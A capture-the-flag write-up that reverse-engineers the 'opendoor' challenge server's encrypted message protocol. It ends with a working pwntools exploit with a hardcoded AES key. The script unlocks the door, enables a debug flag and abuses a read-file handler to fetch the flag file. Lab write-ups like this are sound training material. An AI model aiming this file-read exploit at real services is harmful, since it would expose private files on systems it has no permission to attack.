This one is a pretty interesting challenge. My solution is just static analysis.
But before jumping into main, I’ll be analyzing the opendoor namespace

So, the class Buffer has two members; a vector of bytes and a offset indicating where to start the next read
namespace opendoor {
class Buffer {
shared_ptr<vector<byte>> m_buffer;
int m_offset;
public:
Buffer() {
m_buffer = make_shared(vector<byte>);
m_offset = 0;
}
// ...
};
};
Now lets analyze the Buffer::read<T> functions. This is important as it tells how the server unmarshalls the data.
Buffer::read<bool> is a wrapper to Buffer::read<uchar>.
Int32 and Int64 are being read in BigEndian

i.e., var_20[7 - var_14] = Buffer::read<uchar>()
read<shared_ptr<vector<uchar>>> and read<string> work the same. The first call read<uint> to read the no. of. bytes and read<uchar> to read that many bytes i.e., a vector is a string of bytes prefixed by its length

The constructor of AESCrypter calls the superclass constructor, before initializing the members. AESCrypter::decrypt and AESCrypter::encrypt perform decryption and encryption using AES 256 CBC.
namespace opendoor {
class Crypter {
public:
virtual void decrypt(shared_ptr<Buffer>) = 0;
virtual void encrypt(shared_ptr<Buffer>) = 0;
};
class AESCrypter : public Crypter {
char* key;
char* iv;
public:
AESCrypter() {
key = opendoor::def_key;
iv = opendoor::def_iv;
}
AESCrypter(char* k, char* i) {
key = k; iv = i;
}
void* decrypt(shared_ptr<Buffer> p) {
buf = _Decrypt(*p, key, iv);
return make_shared<Buffer>(buf);
}
void* encrypt(shared_ptr<Buffer> p) {
buf = _Encrypt(*p, key, iv);
ans = make_shared<Buffer>();
ans->write(buf.size());
ans->write(buf);
return ans;
}
};
};
There is another class that implements Crypter. Its the PlainCrypter. Well you have guessed it right. Its a dummy class which neither encrypts nor decrypts. It has another parameter which if set to TRUE, prints debug logs.
Let’s move to opendoor::State which encapsulates a lock for the magic door.

The methods of State are straightforward. Here’s the representation of State
namespace opendoor {
class State {
byte m_is_unlocked;
byte m_is_debuggable;
int32 m_unlock_count;
int64 m_door_id;
public:
State() {
m_is_unlocked = m_is_debuggable = 0;
m_unlock_count = 0;
m_door_id = 0x55AA55AA5A5AA5A5;
}
void unlock() {
m_is_unlocked = 1;
m_unlock_count++;
}
void lock() {
m_is_unlocked = 0;
}
// getters ...
};
};
The Message class consists of six methods - parse_message, execute, to_string, serialize, ptr, and get_id out of which parse_message, to_string and get_id are pure virtual, i.e., they have to be implemented in the classes implementing Message.
The subclasses of Message are of:
Message::serialize performs the common serialization.
It writes the message_id followed by the timestamp returned by time().
Now let’s go to Message::ParseMessage

It reads two Int32 words i.e., the message_id and timestamp and checks if the recieved timestamp bounded by 5 seconds of the current timestamp. Otherwise it responds with an INVALID_TIMESTAMP ErrorMessage. I’ll discuss later how I got error constant names.
The generic parsing routine
ParseMessage(shared_ptr<Buffer> p)
{
msg_id = p->read();
msg_stamp = p->read();
// time_in_window(a, b) == return abs(time(NULL)-a) <= b
if (! time_in_window(msg_stamp, 5))
{
err = new ErrorMessage(INVALID_TIMESTAMP);
return err->ptr();
}
f = messages_map.find(msg_id)
if (f == messages_map.end())
{
err = new ErrorMessage(INVALID_MESSAGE);
return err->ptr();
}
msg = (f->second)();
// do message specific parse
if (! msg->parse_message(p))
{
err = new ErrorMessage(INVALID_PARSE);
return err->ptr();
}
}
So, the timestamp must be within 5 seconds.
Message also defines 7 lambdas that creates an instance each of the concrete message classes and encapsulates within a shared_ptr.
UnlockMessage::parse_message reads two Int64 words and stores them in its member variables.

Clearly, the first member variable must be non zero and the second member variable must equate to door_number. The _good branch continues at

which unlocks the door and creates an UnlockResponse. While the _bad branch, locks the door instead and returns an ACCESS_DENIED ErrorMessage.
Now we can represent Message as
struct Message
{
int32_t id;
int32_t time_stamp;
union {
union {
UnlockMessage uMsg;
DebugMessage dMsg;
PingMessage pMsg;
} msg;
ErrorMessage eMsg;
};
};
struct UnlockMessage
{
int64_t do_unlock;
int64_t door_no;
};
DebugRequestMessage::parse_message:

It reads an Int32 which can be either 1 or 2. If the value read is 1, then it reads a boolean. If the value is 2, it reads a string. These are stored in member variables at offsets +8, +12, +16
DebugRequestMessage::execute:

If the member at offset +8 is 1 then **DebugRequestMessage::handle_debug_message_** is called. If the value is not 1 and the lock is not debuggable, an **ACCESS_DENIED** Error is returned. Whereas if the value is 2, and the lock is debuggable, **DebugRequestMessage::handle_readfile** is called.
Thus the member at offset +8, denotes the debug_type
Yay ! This looks promising !
So, to execute **handle_readfile_**, we must have the lock’s **DEBUG** flag turned on. But the lock’s debug flag is initially 0.
**handle_debug_message_**:

If the member at offset +12 is 1, the routine turns on the door’s DEBUG flag if the door is unlocked. If the value at offset +12 is not 1, then the door’s debug flag is turned off.
The member at offset +12 denotes the flag for turning on lock’s debug flag.
**handle_readfile_** reads 4K bytes from the file whose path is stored in the member variable at offset +16 and returns the contents.
struct DebugMessage
{
int32_t debug_type;
int8_t b_debug_lock;
std::string filePath;
};
The ConnectionPool class uses non-blocking IO. It maintains a map whose keys are the client socket descriptors and values are instances of ConnectionHandler. The **do_read_** (**do_write**) methods read (write) a vector of bytes (from the socket) in the same format as **Buffer** reads (writes).
Here’s the vtable for ConnectionHandler

The members of ConnectionHandler are
namespace opendoor {
class ConnectionHandler {
int32_t socket; /* +0x8 */
bool b_closed; /* +0xC */
int32_t read_size; /* +0x10 */
vector<byte> write_vec; /* +0x18 */
vector<byte> read_vec; /* +0x30 */
shared_ptr<Buffer> buffer; /* +0x48 */
shared_ptr<State> lock; /* +0x58 */
shared_ptr<Crypter> cryptr; /* +0x68 */
// ...
};
}
Let’s visit **ConnectionHandler::process_message_**

The routine calls cryptr->decrypt() on buffer. If the decryption is successful, it proceeds to ParseMessage

If the message has been parsed successfully, the execute() method is invoked. If it succeeds, a positive response is returned by invoking serialize() followed by cryptr->encrypt()
Last but not the least, init

The second routine, sets up the maps as follows
messages = {
# opendoor::Message::{lambda(void)#i}::operator()
1 : 0x48900, # PingRequest
2 : 0x48940, # PingResponse
3 : 0x48980, # UnlockRequest
4 : 0x489C0, # UnlockResponse
5 : 0x48A00, # DebugRequest
6 : 0x48A40, # DebugResponse
-1 : 0x48A80 # ErrorMessage
}
error_messages = {
0 : "Unknown",
1 : "Invalid Message Type",
2 : "Invalid Timestamp",
3 : "Error Parsing",
4 : "Crypto Error",
0x193 : "Access Denied",
0x194 : "Resource Not Found"
}
main is also straightforward. It calls parse_flags to determine the default Crypter instance to be used. The default is AESCrypter. If -n is specified, PlainCrypter is used. The default port is 4848 which can be changed with -p option.
So, we have to write the encrypted Message prefixed by the size of the encrypted message to the server.
#!/usr/bin/python
from Crypto.Cipher import AES
from pwn import *
PLAINTEXT = 0
def pad(m):
return m+chr(16-len(m)%16)*(16-len(m)%16)
def unpad(s):
return s[:-ord(s[len(s)-1:])]
door_number = 0x55AA55AA5A5AA5A5
key = '\x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0\x88\x88\x88\xD1\x8C\x86\x8C\x8B\x9A\x92\x90\x89\x9A\x8D\x93\x90\x8D\x9B\xD1\x9C\x90\x92\xD0\xFF'
iv = 'notaflagnotaflag'
def encrypt(msg):
aes = AES.new(key=key, IV=iv, mode=AES.MODE_CBC)
ans = aes.encrypt(pad(msg))
del aes
return ans
def decrypt(msg):
aes = AES.new(key=key, IV=iv, mode=AES.MODE_CBC)
ans = aes.decrypt(msg)
del aes
return unpad(ans)
def i32(i):
return p32(i, endian='big')
def i64(i):
return p64(i, endian='big')
def pStr(s):
return i32(len(s)) + s
def debugReq1(f):
return i32(1) + chr(f)
def debugReq2(f):
return i32(2) + pStr(f)
def unlockReq():
return i64(1) + i64(door_number)
def msg(msg_id, oMsg):
body = i32(msg_id) + i32(int(time.time()+2)) + oMsg
if not PLAINTEXT:
body = encrypt(body)
m = i32(len(body)) + body
return m
def parse(msg):
size = u32(msg[:4], endian='big')
print "[*] Message size: %d bytes" % size
msg = msg[4:4+size]
if not PLAINTEXT:
msg = decrypt(msg)
msg_id = u32(msg[:4], endian='big')
print "[*] Message ID: %d" % msg_id
time_stamp = u32(msg[4:8], endian='big')
print "[*] Timestamp: %d" % time_stamp
if msg_id == 4:
uflag = u64(msg[8:16], endian='big')
door = u64(msg[16:24], endian='big')
print "[ Unlock ] - [ unlock_flag : %d, door_num : %x ]" % (uflag, door)
elif msg_id == 6:
debug_option = u32(msg[8:12], endian='big')
if debug_option == 1:
print "[ Debug ] - [ debug_flag : %d ]" % ord(msg[12])
else:
size = u32(msg[12:16], endian='big')
text = msg[16:16+size]
print "[ Debug ] - [ text : '%s' ]" % text
r = remote('opendoor-ea62dae9.challenges.bsidessf.net', 4141)
# unlock request to set unlock flag
# send debug request with debug flag on to debug
# send debug request to read any file
r.send(msg(3, unlockReq()))
parse(r.recv())
r.send(msg(5, debugReq1(1)))
parse(r.recv())
r.send(msg(5, debugReq2('/home/opendoor/flag.txt')))
parse(r.recv())
r.close()
And the Output …

Solved after the CTF was over :(